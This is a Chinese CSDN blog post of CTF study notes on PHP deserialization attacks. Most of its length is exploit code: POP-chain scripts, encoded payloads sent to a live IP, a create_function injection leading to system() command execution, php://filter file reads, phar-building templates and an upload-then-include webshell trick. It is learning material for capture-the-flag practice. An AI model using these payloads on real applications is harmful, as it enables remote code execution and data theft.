反序列化学习笔记【一文打通ctf中的反序列化题目】

已于 2023-07-26 17:19:48 修改
阅读量6.0k 收藏 35
点赞数 10
分类专栏： ctf-web 文章标签： 学习 笔记
于 2023-07-21 19:16:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/jayq1/article/details/131858372
版权

反序列化

什么是序列化

将各种类型的数据压缩按照一定格式存储的过程 使用函数serialize()

举例：

//源代码
<?php
    class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo()';
    ...一些方法 不过序列化不在意这些
}
//序列化结果
O:5:"DEMO1":2:{s:4:"func";s:4:"evil";s:3:"arg";s:9:"phpinfo()";}

这里的O表示这是一个对象
    对象名占5个字符
    对象名是DEMO1
    对象有2个属性
    注意属性的长度存在不可见字符0  用来区分属性 是public 还是private 或者protected

什么是反序列化

php反序列化漏洞又称对象注入 ， 可能会导致远程代码执行（RCE）

理解为漏洞执行unserialize函数 调用某一类并执行魔术方法 之后执行类中的函数 产生安全问题

漏洞前提

  1. unserialize()函数的变量可控
  2. php文件中存在可利用的类，类中有魔术方法

利用流程

步骤：
  1. 把题目代码复制到本地
  2. 注释掉方法和一些没有用的东西
  3. 本地对属性赋值，构造序列化，url编码后输出，避免把不可见字符的影响
操作过程举例：

对源代码进行注释后赋值

<?php
class DEMO1{
    //赋值
public $func = 'evil';
public $arg = 'phpinfo()';

// public function safe(){
// echo $this->arg;
// }
// public function evil() {
// eval($this->arg);
// }
// public function run(){
// $this->{$this->func}();
// }
}
// $obj = unserialize($_GET['a']);
// $obj->run();

然后再在最后输出结果

echo(serialize(new DEMO1()));    //单纯序列化
echo("\n");
echo (urlencode(serialize(new DEMO1())));    //进行url编码

三种赋值

内部直接赋值 只能赋值字符串
class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo();';
}
echo(serialize(new DEMO1()));
外部赋值 只能访问public属性的变量
class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo()';
}
//新建一个然后直接输出这个$o
$o = new DEMO1();
$o -> func = 'evil';
$o -> arg = 'phpinfo();'
    
echo(serialize($o));

小技巧： 对于php7.1+版本，对属性容错机制较高，就算不是public也可以在本地修改成public

构造方法赋值 (万能方法)解决上述所有麻烦
class DEMO1{
    public $func;
    public $arg;
    function __construct(){
        $this -> func = 'evil';
        $this -> arg = phpinfo();
    }
}
echo(serialize(new DEMO1()));

POP chain

魔术方法：

__construct()		   //对象创建(new)时会自动调用。
__wakeup() 		       //使用unserialize时触发
__sleep() 		       //使用serialize时触发
__destruct() 	       //对象被销毁时触发
__call() 		       //在对象上下文中调用不可访问的方法时触发
__callStatic() 	       //在静态上下文中调用不可访问的方法时触发
__get() 		       //用于从不可访问的属性读取数据 包括private或者是不存在的
__set() 		       //用于将数据写入不可访问的属性
__isset() 		       //在不可访问的属性上调用isset()或empty()触发
__unset()  		       //在不可访问的属性上使用unset()时触发
__toString() 		   //把类当作字符串使用时触发
__invoke()             //当脚本尝试将对象调用为函数时触发  就是加了括号
__autoload()           //在代码中当调用不存在的类时会自动调用该方法。

题目练习

例题1：

http://122.114.252.87:1110/index2.php

解法1： 非预期解，手工调用

第一步首先把网页上源代码复制下来 删除没用的 注释方法

<?php
class Read 
{
    // public function get_file($value)
    // {
    //     $text = base64_encode(file_get_contents($value));
    //     return $text;
    // }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    // public function __construct($name='index.php')
    // {
    //     $this->source = $name;
    //     echo $this->source.' Welcome'."<br>";    
    // }
    //关键点  会读取文件内容  我们的目标就是读取flag.php里面的内容
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        //  因为get_file方法在Read中所有class1一定是Read的一个实例化对象
        echo $content;
        return $content;
    }
 
    // public function _show()
    // {
    //     if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
    //         die('hacker');
    //     } else {
    //         highlight_file($this->source);
    //     }

    // }
 
    // public function Change()
    // {
    //     if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    //         echo "hacker";
    //     }
    // }
    // public function __get($key){
    //     $function=$this->$key;
    //     $this->{$key}();
    // }
}
// if(isset($_GET['sid']))
// {
//     $sid=$_GET['sid'];
//     $config=unserialize($_GET['config']);
//     $config->$sid;
// }
// else
// {
//     $show = new Show('index2.php');
//     $show->_show();
// }

$s = new Show();
$s -> var = 'flag.php';

$r = new Read();
$s -> class1 = $r;

echo(urlencode(serialize($s)));

非预期可以直接通过参数sid手动调用__toString方法而不是使用魔术方法 注意调用时不要加括号

输入

http://122.114.252.87:1110/index2.php?config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D&sid=__toString

得到base64编码的字符串

PD9waHAKJGZsYWcgPSAiZmxhZ3syNTZkN2ZkNi1kYjUxLTQ0YjktOGIyZC04OGUxN2IwODg2ZTl9IjsKPz4=

进行解密
在这里插入图片描述

成功得到flag！

解法2：利用魔术方法调用__toString方法
__toString() 		   //把类当作字符串使用时触发

在正则表达式中把类当做了字符串

<?php
class Read 
{
    // public function get_file($value)
    // {
    //     $text = base64_encode(file_get_contents($value));
    //     return $text;
    // }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    // public function __construct($name='index.php')
    // {
    //     $this->source = $name;
    //     echo $this->source.' Welcome'."<br>";    
    // }
    //关键点  会读取文件内容  我们的目标就是读取flag.php里面的内容
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        //  因为get_file方法在Read中所有class1一定是Read的一个实例化对象
        echo $content;
        return $content;
    }
 
    // public function _show()
    // {
    //     if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
    //         die('hacker');
    //     } else {
    //         highlight_file($this->source);
    //     }

    // }
 
    // public function Change()
    // {
    //     if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    //         echo "hacker";
    //     }
    // }
    // public function __get($key){
    //     $function=$this->$key;
    //     $this->{$key}();
    // }
}
// if(isset($_GET['sid']))
// {
//     $sid=$_GET['sid'];
//     $config=unserialize($_GET['config']);
//     $config->$sid;
// }
// else
// {
//     $show = new Show('index2.php');
//     $show->_show();
// }

//倒着写的 这个是终点
$r = new Read();

$s = new Show();
$s -> var = 'flag.php';
$s -> class1 = $r;

$s2 = new Show();
$s2 -> source = $s;

echo(urlencode(serialize($s2)));  //最后是对起点进行序列化

一定要注意好s和s2的区别，首先肯定是对s2进行序列化 然后sid中执行字符串匹配的方法，

当通过s2去调用source的时候，因为source里面是类的对象，这个时候该对象也会执行，相当于去把s这个类对象，当做字符串去匹配正则表达式的时候，触发了s的toString方法，与s2没有关系，s2只是一个存放s的入口。

此外当sid为_show的时候会出现两次加密字符串是因为触发了：

else {
     highlight_file($this->source);
}

因为$this -> source的结果就是编码字符串

然后还有一进入正则表达式的方法时就调用了一次

所以一共显示了两次

解密后成功得到flag！

例题2：

http://122.114.252.87:1110/index3.php

题目：
index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
        protected $headset;
        public $sound;
    //考虑fun函数作为最终的利用点
        public function fun($pulse){
            //include！！！！危险函数 文件包含 通过文件流 伪协议 base64 读取flag.php文件
                include($pulse);
        }
    //调用invoke魔术方法  对象作为函数时触发 找用小括号的地方
        public function __invoke(){
                //这里可以调用fun函数
                $this->fun($this->headset);
        }
}

class Saw{
        public $fearless;
        public $gun;
        public function __construct($file='index.php'){
                $this->fearless = $file;
                echo $this->fearless . ' You are in my range!'."<br>";
        }
       //对象视为字符串触发 定位到正则匹配
        public function __toString(){
            //把gun设置为Petal的对象访问fearless 属于不存在属性
            //需要注意的是gun设定为一个数组了 其中有一个键值为‘gun’ 所以给该键值进行相应赋值value gun = array("gun" => $b)
                $this->gun['gun']->fearless;
                return "Saw";
        }
		//只是一个普通的方法 因为只有一个下划线  发现根本调用不了直接排除就好了
        public function _pain(){
                if($this->fearless){
                        highlight_file($this->fearless);
                }
        }
       //wakeup使用unserialize的时候自动触发
        public function __wakeup(){
               //正则匹配 把对象视为字符串 触发其toString方法
                if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
                        echo "Does it hurt? That's right";
                        $this->fearless = "index3.php";
                }
        }
}

class Petal{
        public $seed;
        public function __construct(){
                $this->seed = array();
        }
        //寻找不可访问的属性 寻找箭头
        public function __get($sun){
                
            $Nourishment = $this->seed;
            //函数的调用后面有括号  可以把类的对象作为函数调用 触发invoke 
                return $Nourishment();
        }
}

if(isset($_GET['ozo'])){
        unserialize($_GET['ozo']);   //只有反序列化一定是自动触发的过程
}
else{
        $Saw = new Saw('index3.php');
        $Saw->_pain();
}
?>
解题：

起始位置：先考虑魔术方法，destruct或者wakeup 现在题目中只能去利用wakeup作为起始。

结束位置：利用危险的函数，比如include，highlight_file去进行文件内容的读取

知识点补充：

  1. 遇到正则匹配不要慌，那正是toString方法自动调用的入口

  2. 如果需要触发的魔术方法在一个方法中，那么就new两个对象交互使用

  3. include文件包含读取php文件内容常用模板 文件流伪协议base64 即：

php://filter/convert.base64-encode/resource=flag.php
  1. private的赋值直接在内部，在外面可能赋值不成功

构建exp的顺序是从结尾往起始写的，逆向思维，就是我达成这个目的需要什么事情作为前提就是思考的过程，所以最终serialize的是exp的最后值

解题过程：

  1. 首先需要找到最后的危险函数，看到了在Vox里面的include。
  2. 然后想要使用include就要调用fun这个函数
  3. 想要调用fun就要触发__invoke这个魔术方法
__invoke()                    //当脚本尝试将对象调用为函数时触发
  1. 作为函数就是添加了一个小括号去触发，发现在Petal类中__get方法具备这个调用函数的功能，所以需要去触发__get这个方法
__get() 		    //用于从不可访问的属性读取数据   包括属性不可访问和不存在
  1. 因为与访问相关，所以全局搜索->去找哪里会访问，可以发现在Saw类中的__toString中有一个利用数组特性去访问fearless的过程，这个fearless属于上面的get方法中不存在的属性，为不可访问属性，会触发__get,所以需要去触发__toString这个魔术方法
__toString() 		    //把类当作字符串使用时触发
  1. 这就需要去利用正则表达式，视为字符串的特性去触发这个toString方法，而正则表达式在wakeup魔术方法里面
__wakeup() 		    //使用unserialize时触发
  1. 所以直接在反序列化的时候就会触发这个wakeup魔术方法，到此整个pop链的逻辑全部理清

exp：

$v = new Vox;
//headset的赋值在内部直接赋值为php://filter/convert.base64-encode/resource=flag.php

$p = new Petal;
$p -> seed = $v;   //把$v这个对象作为函数  触发这个对象的invoke方法

$s = new Saw;
$s -> gun = array("gun" => $p);    //让$p这个对象去访问fearless 不存在触发这个对象中的get方法
$s2 = new Saw;
$s2 -> fearless = $s;       //把$s这个对象作为字符串 触发这个对象中的toString方法

echo urlencode(serialize($s2));   //输出最终结果

自己写的exp：

index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
        protected $headset = 'php://filter/convert.base64-encode/resource=flag.php';
        public $sound;
    //考虑fun函数作为最终的利用点
        public function fun($pulse){
                include($pulse);
        }
    //调用invoke魔术方法  对象作为函数时触发 找用小括号的地方
        public function __invoke(){
                //这里可以调用fun函数
                $this->fun($this->headset);
        }
}

class Saw{
        public $fearless;
        public $gun;
        public function __construct($file='index.php'){
                $this->fearless = $file;
                echo $this->fearless . ' You are in my range!'."<br>";
        }
       //对象视为字符串触发 定位到正则匹配
        public function __toString(){
            //把gun设置为Petal的对象访问fearless 属于不存在属性
                $this->gun['gun']->fearless;
                return "Saw";
        }
		//只是一个普通的方法 因为只有一个下划线  发现根本调用不了直接排除就好了
        public function _pain(){
                if($this->fearless){
                        highlight_file($this->fearless);
                }
        }
       //wakeup使用unserialize的时候自动触发
        public function __wakeup(){
               //正则匹配 把对象视为字符串 触发其toString方法
                if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
                        echo "Does it hurt? That's right";
                        $this->fearless = "index3.php";
                }
        }
}

class Petal{
        public $seed;
        public function __construct(){
                $this->seed = array();
        }
        //寻找不可访问的属性 寻找箭头
        public function __get($sun){
                
            $Nourishment = $this->seed;
            //函数的调用后面有括号  可以把类的对象作为函数调用 触发invoke 
                return $Nourishment();
        }
}

// if(isset($_GET['ozo'])){
//         unserialize($_GET['ozo']);   //只有反序列化一定是自动触发的过程
// }
// else{
//         $Saw = new Saw('index3.php');
//         $Saw->_pain();
// }

$a = new Saw();

$a2 = new Saw();

$a -> fearless = $a2;

$b = new Petal;
$a2 -> gun = array("gun" => $b);
$c = new Vox;
$b -> seed = $c;

echo urlencode(serialize($a));
?>

输入后成功得到一段base64密文

在这里插入图片描述
在这里插入图片描述

解密成功得到flag！

例题3：

http://122.114.252.87:1110/gwb.php

数组特性
<?php
class A{
    public function f(){
        echo "i am f() from class A";
    }
}
$arr = [new A, 'f'];
$arr();

运行结果：i am f() from class A

表明当一个数组被当做函数触发时，数组第一个元素是对象，第二个元素是方法的名字（字符串），那么就会调用该对象下的该方法。即可以调用任意对象的任意方法

题目源码：

<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
        public $mod1;
        public $mod2;
         public $key;
    //起始位置
        public function __destruct()
        {        
            //后面有括号 函数调用 考虑使用数组的特性
                unserialize($this->key)();
                $this->mod2 = "welcome ".$this->mod1;
                  
        } 
}

class GetFlag
{        public $code;
         public $action;
        public function get_flag(){
            //利用这段代码进行creat_function方法的调用
            $a=$this->action;
            $a('', $this->code);
        }
}
unserialize($_GET[0]);
?>
exp：
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
        public $mod1;
        public $mod2;
         public $key;
        public function __destruct()
        {        
                // unserialize($this->key)();
                // $this->mod2 = "welcome ".$this->mod1;
                  
        } 
}

class GetFlag
{        
        public $code = 'return(0);}echo(123);system($_POST[0]);//';
         public $action = "create_function";
        public function get_flag(){
            // $a=$this->action;
            // $a('', $this->code);
            //相当于创建了一个名为a的函数 无参 函数内容如下
            function a(){
                return(0);}echo(123);system($_POST[0]);//}
            //提前把函数a进行闭合 然后后面多余的括号注释掉
}

$a = new func();
$arr = [new GetFlag, 'get_flag'];
$a -> key = serialize($arr);
// unserialize($_GET[0]);
echo urlencode(serialize($a));

?>

传上去之后当我们看到echo的123证明成功执行了这个create_function函数 然后通过system危险函数只需要post参数值就可以进行任意命令执行

0=cat \flag.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Gk1cqUF-1689937146841)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230707203557878.png)]

成功获取flag 查看一下源代码即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bTeXBavv-1689937146842)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230707203630384.png)]

指针问题：

对于一些系统中生成的随机值进行绕过的方法 用C语言中的取地址符&进行指针引用，在序列化的时候类型为R

例题1：BUU CODE REVIEW 1 BUUOJ

题目：
 <?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

传入时存在一个弱类型的比较 用数组即可绕过

在BUU类中存在一个uniqid()函数 以微秒级生成标识 每时每刻都在改变，所以我们没办法确定input的值传入 而是通过指针的方法调用correct的值进行绕过

<?php

class BUU {
   public $correct = "";
   public $input = "";

//    public function __destruct() {
//        try {
//            $this->correct = base64_encode(uniqid());
//            if($this->correct === $this->input) {
//                echo file_get_contents("/flag");
//            }
//        } catch (Exception $e) {
//        }
//    }
}

$a = new BUU;
$a -> input = &$a -> correct;
echo serialize($a);

生成payload：

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-660KiqGC-1689937146842)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230718161302969.png)]

例题2：2020蓝帽杯

题目：
<?php
class Seri{
    public $alize;
    // public function __construct($alize) {
    //     $this->alize = $alize;
    // }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
                echo 'niubi';
            }
        } else {
            echo "no";
        }
    }
    
}
$p = $_GET['p'];
if (isset($p)) {
    $p = unserialize($p);
} else {
    show_source(__FILE__);
    // echo "NONONO";
}

// $a = new Seri;
// $b = new Flag;  注意使用该语句生成payload的时候要把本地的方法禁用
// $a -> alize = $b;
// $b -> t1 = &$b -> t2; 
// $b -> f = 'flag.php';
// echo serialize($a);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TyBEwYzE-1689937146842)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230718164821359.png)]

但是本道题因为是rand函数 随机生成的范围有限

所以可以随意设置一个范围内的数字 然后通过bp进行爆破

畸形序列化字符串

应用领域

  1. 绕过__wakeup（）
  2. fast destruct快速析构
wakeup绕过

在老版本的php中对序列化的结果的对象属性值+n

fast destruct

类需要利用析构方法进行某种操作（帮助你去拿flag），但是在析构之前会调用一些方法进行过滤或干扰，常见的出题形式：

<?php
$obj = unserialize($_GET['exp']);
$obj -> safe_filter();    //调用一个进行安全检查的方法

快速析构的原理：

当php接收到畸形序列化字符串时，PHP由于其容错机制，依然可以反序列化成功；

但是由于给的是一个畸形的反序列化字符串，是不标准的，php对这个畸形序列化字符串得到的对象不放心，会赶紧把该对象清除掉，就会触发其析构方法。

这样就会提前触发析构方法，不需要等到所用语句都执行结束，也就可以避免一些安全检查方法的调用。

0708反序列化字符逃逸

开篇例题：

题目：

http://122.114.252.87:2030/

 <?php
show_source("index.php");
//函数作用：把0*0 替换为\0\0\0  因为后面这个内容是在单引号里面包裹 所以斜杠就是斜杠  但是如果在双引号里面包裹就会变成转义字符
function write($data) {
    //关键所在这里的替换字符数不等长  3到6字符的替换
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    //6到3字符的替换
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'world';
    function __destruct(){
        $c = 'hello'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//关于read和write函数 如果可以保证外层替换的字符串存在  内层的不存在  就可以只触发外层函数
$b = unserialize(read(write(serialize($a))));

对于双引号和单引号的测试如下

php -a   //直接在cmd中输入 会启动php

php > echo '\n';
\n               //单引号是什么就输出什么
php > echo "\n";
                //转义后只有换行
php >

类比sql注入中的逃逸

select * from users where u='' and p=''
//进行逃逸
select * from users where u='\' and p=' or 1=1'  //单引号会被转义掉
=> select * from users where u=' and p=' or 1=1'

本质：

对序列化字符串进行不等长的字符串替换，导致本来属于普通字符串的一部分字符串变成了序列化的一部分，或者导致本来不属于字符串的一部分变成了字符串的一部分，进而造成了序列化数据的错乱，导致了对象注入。

解题：

获取A的序列化

<?php
class A{
    public $username="UN";
    public $password="PW";
    
}

echo serialize(new A)

?>

O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}

获取BC的序列化

<?php
class B{
    public $b = 'world';
    // function __destruct(){
    //      字符串的拼接触发toString 
    //      $c = 'hello'.$this->b;
    //     //echo类的对象会触发toString方法
    //     echo $c;
    // }
}

class C{
    public $c = "flag.php";
    // function __toString(){
    //     //flag.php
    //     echo file_get_contents($this->c);
    //     return 'nice';
    // }
}

$b = new B;
$c = new C;
$b -> b = $c;
echo serialize($b)

?>

O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

接下来需要把BC读取flag的序列化结果填入到A中

首先对于序列化的属性进行讲解：

a:3:{i:0;s:6:"张三";i:1;s:6:"李四";i:2;i:18;}

简单说明下序列化字符串
a:3 ——> 代表集合中有3个元素，a则是array类型（o则是object，s则是string，i则是integer等等）
i:0;s:6:“张三” ——> i:0则是第一个元素，s:6则是string，字符串长度为6，元素是张三
i:2;i:18 ——> i:2则是第三个元素，i:18则是int，整数不计算长度，元素是18

a – array
b – boolean
d – double
i – integer
o – common object
r – reference
s – string
C – custom object
O – class
N – null
R – pointer reference
U – unicode string
N 表示的是 NULL

所以把我们生成的两个序列化放到一起研究如何利用：

O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}
object 一个 为A类 中有两个成员 
    第一个是string型 长度为8 名为username 其值为string型长度为2 值为UN 
    第二个是string型 长度为8 名为password 其值为string型长度为2 值为PW

O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
object 一个 为B类 中有一个成员
    第一个为string型 长度为1 名为b 
    其值为object型 一个 值为C 其中包含一个成员 string型 名为c 其值为string型长度为8 值为flag.php

拼接：BC 填入到 A中 因为函数执行的是A的对象 把PW给删了 分号结尾

O:1:"A":2:{属性s:8:"username";属性的值s:2:"UN";s:8:"password";s:2:" 补一个分号结尾;这些全部吃掉 把password约束吃掉的结果 作为username的值  这里缺少属性 补一个 属性s:8:"password";属性的值（object型）O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}} 这里的两个符号";也多余了 补充保证格式正确s:0:"";s:0""; }

添加到PW的位置后我们发现 一个双引号后面直接来了个O有些突兀

直接放到函数中进行生成

<?php
class A{
    public $username="UN";
    public $password=';s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';
   
}
echo serialize(new A)
?>

即为

O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}

然后去考虑如何才能吃掉：

替换规则是\0\0\0 替换为0*0 是六到三的替换

也就是每一组替换可以吃掉3个长度的字符

需要吃掉的内容：";s:8:“password”;s:82:

用python测一下长度

>>> len('''";s:8:"password";s:82:''')
22
>>> 22/3
7.333333333333333

不是3的整数倍 所以需要自己添加值凑成3的倍数

把前面的UN也吃掉就好了：UN";s:8:“password”;s:82:

然后继续利用python生成\0\0\0 共8组

>>> '\0\0\0'
'\x00\x00\x00'
>>> '\\0\\0\\0'
'\\0\\0\\0'
>>> '\\0\\0\\0' * 8
'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'
>>>

因为转义 所以双杠后自己替换一下就好了

因为决定某个值的长度不是双引号的闭合 而是前面的数字

所以把我们生成的替换字符放进去就会多读取后面的内容

<?php
class A{
    public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0xx';  //后面补充两个字符 因为24-22=2 去补充
    public $password=';s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';
   
}
echo serialize(new A)
?>

生成：

O:1:"A":2:{s:8:"username";s:50:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0xx";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}

>>> len('''xx";s:8:"password";s:82:''')
24
>>>正好是往后面读取24个

但此时出现的问题时 你自己补充了两个xx确实后面吃的个数是24但是属性值前面的50也是补充后的结果 6*8 = 48->24 那么虽然补充了两个xx 但是意味着需要往后读50-24 = 26个字符长度 故读取失败

所以我们的补位不应该出现在这个属性值里面 而是在外面

O:1:"A":2:{s:8:"username";s:50:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}

<?php
class A{
    public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';  
    public $password='x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';  //在这里的开头补充x“ 相当于补充了两位
   
}
echo serialize(new A)
?>

O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:84:"x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}

此时往后读24

>>> len('''";s:8:"password";s:84:"x''')
24

最终payload为：

http://122.114.252.87:2030/?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"

url编码一下即可

成功获取flag！：flag{a6c175ea-d851-5cf1-cd6f-3aad733ae896}

思路总结：

做题步骤

  1. 写出基本序列化
  2. 写出注入的对象
  3. 写出注入的对象 分析是长到短还是短到长的替换，决定要把对象注入到什么地方
  4. 算清楚替换的差值，计算需要吃掉或挤出（逃逸）的字符串长度，保证这个长度是替换的差值的整数倍，如果不是 则加字符串
  5. 构造替换，对象注入

长到短的替换

在第一个元素进行替换，进而吃掉第二个元素的约束，第二个元素就逃逸出来了

短到长的替换

暂缺

0718 Phar反序列化

Phar是什么？

可以将多个文件组合成一个文件，

访问

phar://xxx.phar/1.png

zip://xxx.zip#1.png

攻击思路 在上传包含中的利用

可以上传图片，不能上传php

可以包含 但是只能include('$userinput.php');

压缩一个shell.php到1.zip,重命名为1.png，上传

包含：zip://upload.png#shell或phar://upload.png/shell 因为在包含的时候在尾部上面的include会拼接上一个php

如何反序列化

条件

  1. 需要有可用的类，类下有魔术方法，最后POP chain调用到危险方法
  2. 需要文件操作函数去触发 phar:// stream
  3. 有上传或者写文件的操作，可以把无损phar文件写入web服务器，后缀名任意

本地phar的条件

在php.ini中 phar.readonly = Off

构造phar反序列化

  1. 把class定义的代码抄下来，把方法注释了
  2. 构造pop链
  3. echo serialize($o)
  4. 贴phar八股文
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

总结：

还是正常做反序列化的流程，找pop chain，然后本地构造好序列化

之前:echo serialize($o);

现在:生成phar文件把$o加载进去 就是在setMetadata中

可以利用的函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ahWly6o-1689937146844)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230718142957456.png)]

绕过反序列化中的关键字

hex 通用

s:1:“A” 和 S:1:"\61"是一样的意思

当标识字符串的s为大写的时候，\hex标识对应字符

所以绕过flag的过滤：S:4:“\66\6c\61\67”

绕过\0字符 php7.1+

虽然类中定义的属性可能不是public 但是我们可以假装是public，然后生成public类型的反序列化字符串。由于PHP7.1+的容错机制可以反序列化成功

private->public

例题：[网鼎杯 2020 青龙组]AreUSerialz
题目：
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

寻找pop链：

可以发现在read方法中存在file_get_contents函数，是可以利用获取flag的地方，所以需要我们调用read方法 可以发现在process方法中找到，就需要调用process方法并且需要op为2 所以construct方法中的无法使用，需要使用destruct方法，需要绕过他的强类型比较 将op设置为数字型的2 在强类型比较中字符型和数字型的2是不相等的 但在弱类型比较中是相等的 数字2就不加引号就可以了

绕过上传点的限制：

